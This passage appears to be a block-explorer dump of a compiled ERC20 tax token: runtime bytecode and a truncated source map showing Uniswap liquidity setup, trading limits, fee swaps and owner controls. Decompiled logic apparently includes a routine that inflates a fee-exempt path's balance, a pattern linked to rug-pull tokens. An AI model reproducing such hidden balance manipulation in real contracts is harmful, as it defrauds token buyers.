b815260040161042190611838565b5f19601181905560128190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a1565b5f546001600160a01b031633146105055760405162461bcd60e51b815260040161042190611838565b601580546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa158015610567573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061058b919061186d565b6001600160a01b031663c9c653963060155f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105ea573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061060e919061186d565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610658573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061067c919061186d565b601680546001600160a01b0319166001600160a01b039283161790556015546106a9913091165f1961085d565b6015546001600160a01b031663f305d71947306106da816001600160a01b03165f9081526001602052604090205490565b5f806106ed5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610753573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906107789190611888565b505050565b5f546001600160a01b031633146107a65760405162461bcd60e51b815260040161042190611838565b6107af47610c42565b565b5f610367338484610981565b5f546001600160a01b031633146107e65760405162461bcd60e51b815260040161042190611838565b601654600160a01b900460ff16156108405760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610421565b6016805462ff00ff60a01b19166201000160a01b17905543600855565b6001600160a01b0383166108bf5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610421565b6001600160a01b0382166109205760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610421565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b0383166109e55760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610421565b6001600160a01b038216610a475760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610421565b5f8111610aa85760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610421565b601654600160a01b900460ff16610b39576001600160a01b0382165f9081526003602052604090205460ff1680610af657506001600160a01b0383165f9081526003602052604090205460ff165b610b395760405162461bcd60e51b81526020600482015260146024820152733a3930b234b733903737ba103cb2ba1037b832b760611b6044820152606401610421565b601654600160a81b900460ff1680610b5b5750601654600160a01b900460ff16155b15610bff576001600160a01b0383165f9081526001602052604081208054839290610b879084906118b3565b90915550506001600160a01b0382165f9081526001602052604081208054839290610bb39084906118c6565b92505081905550816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161097491815260200190565b610778838383610cf0565b5f8184841115610c2d5760405162461bcd60e51b81526004016104219190611619565b505f610c3984866118b3565b95945050505050565b5f606460065483610c539190611821565b610c5d91906118d9565b90505f606460075484610c709190611821565b610c7a91906118d9565b6004546040519192506001600160a01b03169083156108fc029084905f818181858888f19350505050158015610cb2573d5f803e3d5ffd5b506005546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015610cea573d5f803e3d5ffd5b50505050565b5f610d1d6064610d17600d5460105411610d0c57600954610d10565b600b545b859061123b565b906112c0565b9050610d305f546001600160a01b031690565b6001600160a01b0316846001600160a01b031614158015610d5e57505f546001600160a01b03848116911614155b156110fe576016546001600160a01b038581169116148015610d8e57506015546001600160a01b03848116911614155b8015610db257506001600160a01b0383165f9081526003602052604090205460ff16155b15610eb957601154821115610e095760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610421565b60125482610e2b856001600160a01b03165f9081526001602052604090205490565b610e3591906118c6565b1115610e835760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610421565b436008546003610e9391906118c6565b1115610ea457823b15610ea4575f80fd5b60108054905f610eb3836118f8565b91905055505b6001600160a01b03841615801590610ed057505f82115b8015610ef357506001600160a01b0384165f9081526003602052604090205460ff165b8015610f0d57506015546001600160a01b03848116911614155b15610f1d57610cea848484611301565b6016546001600160a01b03848116911614801590610f5357506001600160a01b0383165f9081526003602052604090205460ff16155b15610fd25760125482610f7a856001600160a01b03165f9081526001602052604090205490565b610f8491906118c6565b1115610fd25760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610421565b6016546001600160a01b038481169116148015610ff857506001600160a01b0384163014155b15611025576110226064610d17600e546010541161101857600a54610d10565b600c54859061123b565b90505b305f90815260016020526040902054601654600160a81b900460ff1615801561105b57506016546001600160a01b038581169116145b80156110705750601654600160b01b900460ff165b801561107f5750600f54601054115b80156110a357506001600160a01b0385165f9081526003602052604090205460ff16155b80156110c757506001600160a01b0384165f9081526003602052604090205460ff16155b156110fc576013548111156110f3576110f36110ee846110e9846014546113ca565b6113ca565b6113de565b6110fc47610c42565b505b801561117657305f9081526001602052604090205461111d908261154e565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061116d9085815260200190565b60405180910390a35b6001600160a01b0384165f9081526001602052604090205461119890836115ac565b6001600160a01b0385165f908152600160205260409020556111db6111bd83836115ac565b6001600160a01b0385165f908152600160205260409020549061154e565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61122485856115ac565b60405190815260200160405180910390a350505050565b5f825f0361124a57505f61036b565b5f6112558385611821565b90508261126285836118d9565b146112b95760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610421565b9392505050565b5f6112b983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506115ed565b6001600160a01b0382161580159061132257506001600160a01b0383163014155b801561133657506001600160a01b03831615155b801561134157505f81115b61136c57611367611353600a836118b3565b600b5461136190600a61154e565b9061154e565b611399565b611399600261137b83826118c6565b61138591906118b3565b600c5461139390600161154e565b9061123b565b6001600160a01b0383165f90815260016020526040812080549091906113c09084906118c6565b9091555050505050565b5f8183116113d857826112b9565b50919050565b6016805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061142457611424611910565b6001600160a01b03928316602091820292909201810191909152601554604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561147b573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061149f919061186d565b816001815181106114b2576114b2611910565b6001600160a01b0392831660209182029290920101526015546114d8913091168461085d565b60155460405163791ac94760e01b81526001600160a01b039091169063791ac947906115109085905f90869030904290600401611924565b5f604051808303815f87803b158015611527575f80fd5b505af1158015611539573d5f803e3d5ffd5b50506016805460ff60a81b1916905550505050565b5f8061155a83856118c6565b9050838110156112b95760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610421565b5f6112b983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610c0a565b5f818361160d5760405162461bcd60e51b81526004016104219190611619565b505f610c3984866118d9565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114611662575f80fd5b50565b5f8060408385031215611676575f80fd5b82356116818161164e565b946020939093013593505050565b5f805f606084860312156116a1575f80fd5b83356116ac8161164e565b925060208401356116bc8161164e565b929592945050506040919091013590565b5f602082840312156116dd575f80fd5b81356112b98161164e565b5f80604083850312156116f9575f80fd5b82356117048161164e565b915060208301356117148161164e565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561176d57815f19048211156117535761175361171f565b8085161561176057918102915b93841c9390800290611738565b509250929050565b5f826117835750600161036b565b8161178f57505f61036b565b81600181146117a557600281146117af576117cb565b600191505061036b565b60ff8411156117c0576117c061171f565b50506001821b61036b565b5060208310610133831016604e8410600b84101617156117ee575081810a61036b565b6117f88383611733565b805f190482111561180b5761180b61171f565b029392505050565b5f6112b960ff841683611775565b808202811582820484141761036b5761036b61171f565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f6020828403121561187d575f80fd5b81516112b98161164e565b5f805f6060848603121561189a575f80fd5b8351925060208401519150604084015190509250925092565b8181038181111561036b5761036b61171f565b8082018082111561036b5761036b61171f565b5f826118f357634e487b7160e01b5f52601260045260245ffd5b500490565b5f600182016119095761190961171f565b5060010190565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156119745784516001600160a01b03168352938301939183019160010161194f565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212207404a702daaeed63094cf6e779f786b7d81449b10abdf705f4d9f0c974453a4064736f6c63430008190033

Deployed Bytecode Sourcemap

3931:9940:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6591:83;;;;;;;;;;-1:-1:-1;6661:5:0;;;;;;;;;;;-1:-1:-1;;;6661:5:0;;;;6591:83;;;;6661:5;6591:83;:::i;:::-;;;;;;;;7472:186;;;;;;;;;;-1:-1:-1;7472:186:0;;;;;:::i;:::-;;:::i;:::-;;;1058:14:1;;1051:22;1033:41;;1021:2;1006:18;7472:186:0;893:187:1;5147:55:0;;;;;;;;;;;;;;;;;;;1231:25:1;;;1219:2;1204:18;5147:55:0;1085:177:1;6868:95:0;;;;;;;;;;;;;:::i;7666:446::-;;;;;;;;;;-1:-1:-1;7666:446:0;;;;;:::i;:::-;;:::i;6777:83::-;;;;;;;;;;-1:-1:-1;6777:83:0;;4772:1;1870:36:1;;1858:2;1843:18;6777:83:0;1728:184:1;6971:117:0;;;;;;;;;;-1:-1:-1;6971:117:0;;;;;:::i;:::-;-1:-1:-1;;;;;7064:16:0;7037:7;7064:16;;;:7;:16;;;;;;;6971:117;2845:148;;;;;;;;;;;;;:::i;:::-;;13096:174;;;;;;;;;;;;;:::i;4956:56::-;;;;;;;;;;;;;;;;2631:79;;;;;;;;;;-1:-1:-1;2669:7:0;2696:6;2631:79;;-1:-1:-1;;;;;2696:6:0;;;2315:51:1;;2303:2;2288:18;2631:79:0;2169:203:1;5019:58:0;;;;;;;;;;;;;;;;5948:635;;;;;;;;;;;;;:::i;13562:95::-;;;;;;;;;;;;;:::i;7096:192::-;;;;;;;;;;-1:-1:-1;7096:192:0;;;;;:::i;:::-;;:::i;5084:56::-;;;;;;;;;;;;;;;;13665:203;;;;;;;;;;;;;:::i;7296:168::-;;;;;;;;;;-1:-1:-1;7296:168:0;;;;;:::i;:::-;-1:-1:-1;;;;;7429:18:0;;;7402:7;7429:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;7296:168;7472:186;7572:4;7589:39;258:10;7612:7;7621:6;7589:8;:39::i;:::-;-1:-1:-1;7646:4:0;7472:186;;;;;:::o;6868:95::-;6921:7;4828:15;4772:1;4828:2;:15;:::i;:::-;4815:28;;:10;:28;:::i;:::-;6941:14;;6868:95;:::o;7666:446::-;7798:4;7815:36;7825:6;7833:9;7844:6;7815:9;:36::i;:::-;7862:220;7885:6;258:10;7933:138;7989:6;7933:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7933:19:0;;;;;;:11;:19;;;;;;;;258:10;7933:33;;;;;;;;;;:37;:138::i;:::-;7862:8;:220::i;:::-;-1:-1:-1;8100:4:0;7666:446;;;;;:::o;2845:148::-;2758:6;;-1:-1:-1;;;;;2758:6:0;258:10;2758:22;2750:67;;;;-1:-1:-1;;;2750:67:0;;;;;;;:::i;:::-;;;;;;;;;2952:1:::1;2936:6:::0;;2915:40:::1;::::0;-1:-1:-1;;;;;2936:6:0;;::::1;::::0;2915:40:::1;::::0;2952:1;;2915:40:::1;2983:1;2966:19:::0;;-1:-1:-1;;;;;;2966:19:0::1;::::0;;2845:148::o;13096:174::-;2758:6;;-1:-1:-1;;;;;2758:6:0;258:10;2758:22;2750:67;;;;-1:-1:-1;;;2750:67:0;;;;;;;:::i;:::-;-1:-1:-1;;13150:12:0::1;:26:::0;;;13187:14:::1;:28:::0;;;13231:31:::1;::::0;1231:25:1;;;13231:31:0::1;::::0;1219:2:1;1204:18;13231:31:0::1;;;;;;;13096:174::o:0;5948:635::-;2758:6;;-1:-1:-1;;;;;2758:6:0;258:10;2758:22;2750:67;;;;-1:-1:-1;;;2750:67:0;;;;;;;:::i;:::-;6000:15:::1;:104:::0;;-1:-1:-1;;;;;;6000:104:0::1;6051:42;6000:104:::0;;::::1;::::0;;;6151:25:::1;::::0;;-1:-1:-1;;;6151:25:0;;;;:23:::1;::::0;:25:::1;::::0;;::::1;::::0;::::1;::::0;;;;;;;;;6051:42;6151:25:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;6133:55:0::1;;6211:4;6231:15;;;;;;;;;-1:-1:-1::0;;;;;6231:15:0::1;-1:-1:-1::0;;;;;6231:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6133:131;::::0;-1:-1:-1;;;;;;6133:131:0::1;::::0;;;;;;-1:-1:-1;;;;;5299:15:1;;;6133:131:0::1;::::0;::::1;5281:34:1::0;5351:15;;5331:18;;;5324:43;5216:18;;6133:131:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6117:13;:147:::0;;-1:-1:-1;;;;;;6117:147:0::1;-1:-1:-1::0;;;;;6117:147:0;;::::1;;::::0;;6309:15:::1;::::0;6277:62:::1;::::0;6294:4:::1;::::0;6309:15:::1;-1:-1:-1::0;;6277:8:0::1;:62::i;:::-;6352:15;::::0;-1:-1:-1;;;;;6352:15:0::1;:31;6391:21;6436:4;6456:24;6436:4:::0;-1:-1:-1;;;;;7064:16:0;7037:7;7064:16;;;:7;:16;;;;;;;6971:117;6456:24:::1;6495:1;6511::::0;6527:7:::1;2669::::0;2696:6;-1:-1:-1;;;;;2696:6:0;;2631:79;6527:7:::1;6352:223;::::0;::::1;::::0;;;-1:-1:-1;;;;;;6352:223:0;;;-1:-1:-1;;;;;5737:15:1;;;6352:223:0::1;::::0;::::1;5719:34:1::0;5769:18;;;5762:34;;;;5812:18;;;5805:34;;;;5855:18;;;5848:34;5919:15;;;5898:19;;;5891:44;6549:15:0::1;5951:19:1::0;;;5944:35;5653:19;;6352:223:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;5948:635::o:0;13562:95::-;2758:6;;-1:-1:-1;;;;;2758:6:0;258:10;2758:22;2750:67;;;;-1:-1:-1;;;2750:67:0;;;;;;;:::i;:::-;13614:35:::1;13627:21;13614:12;:35::i;:::-;13562:95::o:0;7096:192::-;7199:4;7216:42;258:10;7240:9;7251:6;7216:9;:42::i;13665:203::-;2758:6;;-1:-1:-1;;;;;2758:6:0;258:10;2758:22;2750:67;;;;-1:-1:-1;;;2750:67:0;;;;;;;:::i;:::-;13727:11:::1;::::0;-1:-1:-1;;;13727:11:0;::::1;;;13726:12;13718:48;;;::::0;-1:-1:-1;;;13718:48:0;;6503:2:1;13718:48:0::1;::::0;::::1;6485:21:1::0;6542:2;6522:18;;;6515:30;6581:25;6561:18;;;6554:53;6624:18;;13718:48:0::1;6301:347:1::0;13718:48:0::1;13777:11;:18:::0;;-1:-1:-1;;;;13806:18:0;-1:-1:-1;;;13806:18:0;;;13848:12:::1;13835:10;:25:::0;13665:203::o;8120:335::-;-1:-1:-1;;;;;8213:19:0;;8205:68;;;;-1:-1:-1;;;8205:68:0;;6855:2:1;8205:68:0;;;6837:21:1;6894:2;6874:18;;;6867:30;6933:34;6913:18;;;6906:62;-1:-1:-1;;;6984:18:1;;;6977:34;7028:19;;8205:68:0;6653:400:1;8205:68:0;-1:-1:-1;;;;;8292:21:0;;8284:68;;;;-1:-1:-1;;;8284:68:0;;7260:2:1;8284:68:0;;;7242:21:1;7299:2;7279:18;;;7272:30;7338:34;7318:18;;;7311:62;-1:-1:-1;;;7389:18:1;;;7382:32;7431:19;;8284:68:0;7058:398:1;8284:68:0;-1:-1:-1;;;;;8363:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;8415:32;;1231:25:1;;;8415:32:0;;1204:18:1;8415:32:0;;;;;;;;8120:335;;;:::o;11446:796::-;-1:-1:-1;;;;;11539:18:0;;11531:68;;;;-1:-1:-1;;;11531:68:0;;7663:2:1;11531:68:0;;;7645:21:1;7702:2;7682:18;;;7675:30;7741:34;7721:18;;;7714:62;-1:-1:-1;;;7792:18:1;;;7785:35;7837:19;;11531:68:0;7461:401:1;11531:68:0;-1:-1:-1;;;;;11618:16:0;;11610:64;;;;-1:-1:-1;;;11610:64:0;;8069:2:1;11610:64:0;;;8051:21:1;8108:2;8088:18;;;8081:30;8147:34;8127:18;;;8120:62;-1:-1:-1;;;8198:18:1;;;8191:33;8241:19;;11610:64:0;7867:399:1;11610:64:0;11707:1;11693:11;:15;11685:69;;;;-1:-1:-1;;;11685:69:0;;8473:2:1;11685:69:0;;;8455:21:1;8512:2;8492:18;;;8485:30;8551:34;8531:18;;;8524:62;-1:-1:-1;;;8602:18:1;;;8595:39;8651:19;;11685:69:0;8271:405:1;11685:69:0;11772:11;;-1:-1:-1;;;11772:11:0;;;;11767:177;;-1:-1:-1;;;;;11826:22:0;;;;;;:18;:22;;;;;;;;;:50;;-1:-1:-1;;;;;;11852:24:0;;;;;;:18;:24;;;;;;;;11826:50;11800:132;;;;-1:-1:-1;;;11800:132:0;;8883:2:1;11800:132:0;;;8865:21:1;8922:2;8902:18;;;8895:30;-1:-1:-1;;;8941:18:1;;;8934:50;9001:18;;11800:132:0;8681:344:1;11800:132:0;11960:6;;-1:-1:-1;;;11960:6:0;;;;;:22;;-1:-1:-1;11971:11:0;;-1:-1:-1;;;11971:11:0;;;;11970:12;11960:22;11956:229;;;-1:-1:-1;;;;;12030:13:0;;;;;;:7;:13;;;;;:28;;12047:11;;12030:13;:28;;12047:11;;12030:28;:::i;:::-;;;;-1:-1:-1;;;;;;;12073:11:0;;;;;;:7;:11;;;;;:26;;12088:11;;12073;:26;;12088:11;;12073:26;:::i;:::-;;;;;;;;12136:2;-1:-1:-1;;;;;12121:31:0;12130:4;-1:-1:-1;;;;;12121:31:0;;12140:11;12121:31;;;;1231:25:1;;1219:2;1204:18;;1085:177;11956:229:0;12197:37;12212:4;12218:2;12222:11;12197:14;:37::i;1433:224::-;1553:7;1589:12;1581:6;;;;1573:29;;;;-1:-1:-1;;;1573:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1613:9:0;1625:5;1629:1;1625;:5;:::i;:::-;1613:17;1433:224;-1:-1:-1;;;;;1433:224:0:o;13278:272::-;13335:16;13386:3;13364:18;;13355:6;:27;;;;:::i;:::-;13354:35;;;;:::i;:::-;13335:54;;13400:17;13455:3;13430:21;;13421:6;:30;;;;:::i;:::-;13420:38;;;;:::i;:::-;13471:10;;:29;;13400:58;;-1:-1:-1;;;;;;13471:10:0;;:29;;;;;13491:8;;13471:10;:29;:10;:29;13491:8;13471:10;:29;;;;;;;;;;;;;;;;;;;;-1:-1:-1;13511:11:0;;:31;;-1:-1:-1;;;;;13511:11:0;;;;:31;;;;;13532:9;;13511:11;:31;:11;:31;13532:9;13511:11;:31;;;;;;;;;;;;;;;;;;;;;13324:226;;13278:272;:::o;8463:2636::-;8549:17;8569:110;8675:3;8569:87;8607:15;;8595:9;;:27;8594:61;;8641:14;;8594:61;;;8626:12;;8594:61;8569:6;;:24;:87::i;:::-;:105;;:110::i;:::-;8549:130;;8704:7;2669;2696:6;-1:-1:-1;;;;;2696:6:0;;2631:79;8704:7;-1:-1:-1;;;;;8696:15:0;:4;-1:-1:-1;;;;;8696:15:0;;;:32;;;;-1:-1:-1;2669:7:0;2696:6;-1:-1:-1;;;;;8715:13:0;;;2696:6;;8715:13;;8696:32;8692:2051;;;8775:13;;-1:-1:-1;;;;;8767:21:0;;;8775:13;;8767:21;:72;;;;-1:-1:-1;8823:15:0;;-1:-1:-1;;;;;8809:30:0;;;8823:15;;8809:30;;8767:72;:116;;;;-1:-1:-1;;;;;;8861:22:0;;;;;;:18;:22;;;;;;;;8860:23;8767:116;8745:560;;;8936:12;;8926:6;:22;;8918:60;;;;-1:-1:-1;;;8918:60:0;;9717:2:1;8918:60:0;;;9699:21:1;9756:2;9736:18;;;9729:30;9795:27;9775:18;;;9768:55;9840:18;;8918:60:0;9515:349:1;8918:60:0;9053:14;;9043:6;9027:13;9037:2;-1:-1:-1;;;;;7064:16:0;7037:7;7064:16;;;:7;:16;;;;;;;6971:117;9027:13;:22;;;;:::i;:::-;:40;;8997:140;;;;-1:-1:-1;;;8997:140:0;;10071:2:1;8997:140:0;;;10053:21:1;10110:2;10090:18;;;10083:30;10149:28;10129:18;;;10122:56;10195:18;;8997:140:0;9869:350:1;8997:140:0;9179:12;9162:10;;9175:1;9162:14;;;;:::i;:::-;:29;9158:102;;;12496:20;;12544:8;9216:24;;;;;;9278:9;:11;;;:9;:11;;;:::i;:::-;;;;;;8745:560;-1:-1:-1;;;;;9324:18:0;;;;;;:31;;;9354:1;9346:6;:9;9324:31;:59;;;;-1:-1:-1;;;;;;9359:24:0;;;;;;:18;:24;;;;;;;;9324:59;:93;;;;-1:-1:-1;9401:15:0;;-1:-1:-1;;;;;9387:30:0;;;9401:15;;9387:30;;9324:93;9321:171;;;9438:30;9451:4;9457:2;9461:6;9438:12;:30::i;9321:171::-;9518:13;;-1:-1:-1;;;;;9512:19:0;;;9518:13;;9512:19;;;;:46;;-1:-1:-1;;;;;;9536:22:0;;;;;;:18;:22;;;;;;;;9535:23;9512:46;9508:227;;;9635:14;;9625:6;9609:13;9619:2;-1:-1:-1;;;;;7064:16:0;7037:7;7064:16;;;:7;:16;;;;;;;6971:117;9609:13;:22;;;;:::i;:::-;:40;;9579:140;;;;-1:-1:-1;;;9579:140:0;;10071:2:1;9579:140:0;;;10053:21:1;10110:2;10090:18;;;10083:30;10149:28;10129:18;;;10122:56;10195:18;;9579:140:0;9869:350:1;9579:140:0;9773:13;;-1:-1:-1;;;;;9767:19:0;;;9773:13;;9767:19;:44;;;;-1:-1:-1;;;;;;9790:21:0;;9806:4;9790:21;;9767:44;9763:332;;;9844:235;10075:3;9844:204;9916:16;;9904:9;;:28;9903:122;;10010:15;;9903:122;;;9965:13;;9844:6;;:32;:204::i;:235::-;9832:247;;9763:332;10160:4;10111:28;7064:16;;;:7;:16;;;;;;10204:6;;-1:-1:-1;;;10204:6:0;;;;10203:7;:47;;;;-1:-1:-1;10237:13:0;;-1:-1:-1;;;;;10231:19:0;;;10237:13;;10231:19;10203:47;:79;;;;-1:-1:-1;10271:11:0;;-1:-1:-1;;;10271:11:0;;;;10203:79;:130;;;;;10315:18;;10303:9;;:30;10203:130;:176;;;;-1:-1:-1;;;;;;10355:24:0;;;;;;:18;:24;;;;;;;;10354:25;10203:176;:220;;;;-1:-1:-1;;;;;;10401:22:0;;;;;;:18;:22;;;;;;;;10400:23;10203:220;10181:551;;;10484:17;;10461:20;:40;10458:205;;;10526:117;10569:51;10573:6;10581:38;10585:20;10607:11;;10581:3;:38::i;:::-;10569:3;:51::i;:::-;10526:16;:117::i;:::-;10681:35;10694:21;10681:12;:35::i;:::-;8730:2013;8692:2051;10759:13;;10755:168;;10830:4;10814:22;;;;:7;:22;;;;;;:37;;10841:9;10814:26;:37::i;:::-;10805:4;10789:22;;;;:7;:22;;;;;;;:62;;;;10871:40;;-1:-1:-1;;;;;10871:40:0;;;;;;;10901:9;1231:25:1;;1219:2;1204:18;;1085:177;10871:40:0;;;;;;;;10755:168;-1:-1:-1;;;;;10952:13:0;;;;;;:7;:13;;;;;;:25;;10970:6;10952:17;:25::i;:::-;-1:-1:-1;;;;;10936:13:0;;;;;;:7;:13;;;;;:41;11002:38;11018:21;:6;11029:9;11018:10;:21::i;:::-;-1:-1:-1;;;;;11002:11:0;;;;;;:7;:11;;;;;;;:15;:38::i;:::-;-1:-1:-1;;;;;10988:11:0;;;;;;;:7;:11;;;;;:52;;;;11050:41;;;11069:21;:6;11080:9;11069:10;:21::i;:::-;11050:41;;1231:25:1;;;1219:2;1204:18;11050:41:0;;;;;;;8537:2562;8463:2636;;;:::o;1665:246::-;1723:7;1747:1;1752;1747:6;1743:47;;-1:-1:-1;1777:1:0;1770:8;;1743:47;1800:9;1812:5;1816:1;1812;:5;:::i;:::-;1800:17;-1:-1:-1;1845:1:0;1836:5;1840:1;1800:17;1836:5;:::i;:::-;:10;1828:56;;;;-1:-1:-1;;;1828:56:0;;10566:2:1;1828:56:0;;;10548:21:1;10605:2;10585:18;;;10578:30;10644:34;10624:18;;;10617:62;-1:-1:-1;;;10695:18:1;;;10688:31;10736:19;;1828:56:0;10364:397:1;1828:56:0;1902:1;1665:246;-1:-1:-1;;;1665:246:0:o;1919:132::-;1977:7;2004:39;2008:1;2011;2004:39;;;;;;;;;;;;;;;;;:3;:39::i;11107:331::-;-1:-1:-1;;;;;11205:16:0;;;;;;:55;;-1:-1:-1;;;;;;11239:21:0;;11255:4;11239:21;;11205:55;:90;;;;-1:-1:-1;;;;;;11277:18:0;;;;11205:90;:117;;;;;11321:1;11312:6;:10;11205:117;:224;;11394:35;11419:9;11426:2;11419:6;:9;:::i;:::-;11394:12;;:20;;11411:2;11394:16;:20::i;:::-;:24;;:35::i;:::-;11205:224;;;11338:39;11375:1;11366:8;:6;11375:1;11366:8;:::i;:::-;:10;;;;:::i;:::-;11338:13;;:23;;11356:4;11338:17;:23::i;:::-;:27;;:39::i;:::-;-1:-1:-1;;;;;11190:11:0;;;;;;:7;:11;;;;;:239;;:11;;;:239;;;;;:::i;:::-;;;;-1:-1:-1;;;;;11107:331:0:o;12250:107::-;12307:7;12339:1;12335;:5;12334:15;;12348:1;12334:15;;;-1:-1:-1;12344:1:0;12250:107;-1:-1:-1;12250:107:0:o;12568:483::-;5486:6;:13;;-1:-1:-1;;;;5486:13:0;-1:-1:-1;;;5486:13:0;;;12670:16:::1;::::0;;12684:1:::1;12670:16:::0;;;;;::::1;::::0;;-1:-1:-1;;12670:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;12670:16:0::1;12646:40;;12715:4;12697;12702:1;12697:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;12697:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;12741:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;12741:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;12697:7;;12741:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12731:4;12736:1;12731:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;12731:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;12806:15:::1;::::0;12774:62:::1;::::0;12791:4:::1;::::0;12806:15:::1;12824:11:::0;12774:8:::1;:62::i;:::-;12847:15;::::0;:196:::1;::::0;-1:-1:-1;;;12847:196:0;;-1:-1:-1;;;;;12847:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;12928:11;;12847:15:::1;::::0;12970:4;;12997::::1;::::0;13017:15:::1;::::0;12847:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5522:6:0;:14;;-1:-1:-1;;;;5522:14:0;;;-1:-1:-1;;;;12568:483:0:o;1102:179::-;1160:7;;1192:5;1196:1;1192;:5;:::i;:::-;1180:17;;1221:1;1216;:6;;1208:46;;;;-1:-1:-1;;;1208:46:0;;12217:2:1;1208:46:0;;;12199:21:1;12256:2;12236:18;;;12229:30;12295:29;12275:18;;;12268:57;12342:18;;1208:46:0;12015:351:1;1289:136:0;1347:7;1374:43;1378:1;1381;1374:43;;;;;;;;;;;;;;;;;:3;:43::i;2059:223::-;2179:7;2214:12;2207:5;2199:28;;;;-1:-1:-1;;;2199:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2238:9:0;2250:5;2254:1;2250;:5;:::i;14:418:1:-;163:2;152:9;145:21;126:4;195:6;189:13;238:6;233:2;222:9;218:18;211:34;297:6;292:2;284:6;280:15;275:2;264:9;260:18;254:50;353:1;348:2;339:6;328:9;324:22;320:31;313:42;423:2;416;412:7;407